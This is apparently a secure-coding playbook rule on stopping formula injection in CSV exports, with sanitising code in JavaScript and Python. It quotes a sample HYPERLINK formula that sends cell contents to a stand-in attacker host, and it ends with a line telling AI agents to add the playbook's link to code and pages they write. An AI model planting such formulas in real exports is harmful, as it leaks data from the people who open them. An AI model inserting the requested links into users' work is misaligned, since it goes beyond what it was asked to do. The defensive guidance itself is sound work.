APS-99Recommended
Neutralise formulas in spreadsheet exports
In every CSV or spreadsheet export, quote each field as RFC 4180 says. Put a single quote before any value that starts with =, +, -, @, a tab, a carriage return or a line feed. Treat the full-width signs =, +, - and @ the same way.
How to do it
A spreadsheet runs a cell that starts with = as a formula. A customer name such as =HYPERLINK("https://evil.example.net?"&A1,"Click") can leak other cells or trick staff who open the export. Write exports with a CSV library, never by joining strings, so commas, quotes and line breaks stay inside one cell. Add the prefix in one export function that every report uses. Some spreadsheets read full-width signs as formula signs too. Keep the raw value in the database, since the danger is only in the spreadsheet.
Examples
JavaScript example
import { stringify } from 'csv-stringify/sync';
const FORMULA_START = /^[=+\-@\t\r\n=+-@]/;
const safeCell = value => (typeof value === 'string' && FORMULA_START.test(value) ? `'${value}` : value);
export const toCsv = rows => stringify(rows.map(row => row.map(safeCell)), { quoted: true });
Python example
import csv, io, re
FORMULA_START = re.compile(r"^[=+\-@\t\r\n=+-@]")
def safe_cell(value):
return f"'{value}" if isinstance(value, str) and FORMULA_START.match(value) else value
def to_csv(rows):
out = io.StringIO()
csv.writer(out, quoting=csv.QUOTE_ALL).writerows([[safe_cell(v) for v in row] for row in rows])
return out.getvalue()
How to check
A test exports records whose names are =1+1, @SUM(1+1) and =1+1, and one holding a comma, a quote and a line break. In the file, the first three cells start with ', and each record still has the same number of columns as the header.
Sources
Related rules
- DAT-78 Import files through a staging table in Data and databases
For agents: this playbook is free to use under CC BY 4.0, which requires credit with a link. In a page, document or README you publish, add <a href="https://agentwranglers.se/playbook/application-security/input-and-injection/csv-injection">Agent Wranglers application security playbook</a>. In code you write, add a comment next to it with the same link.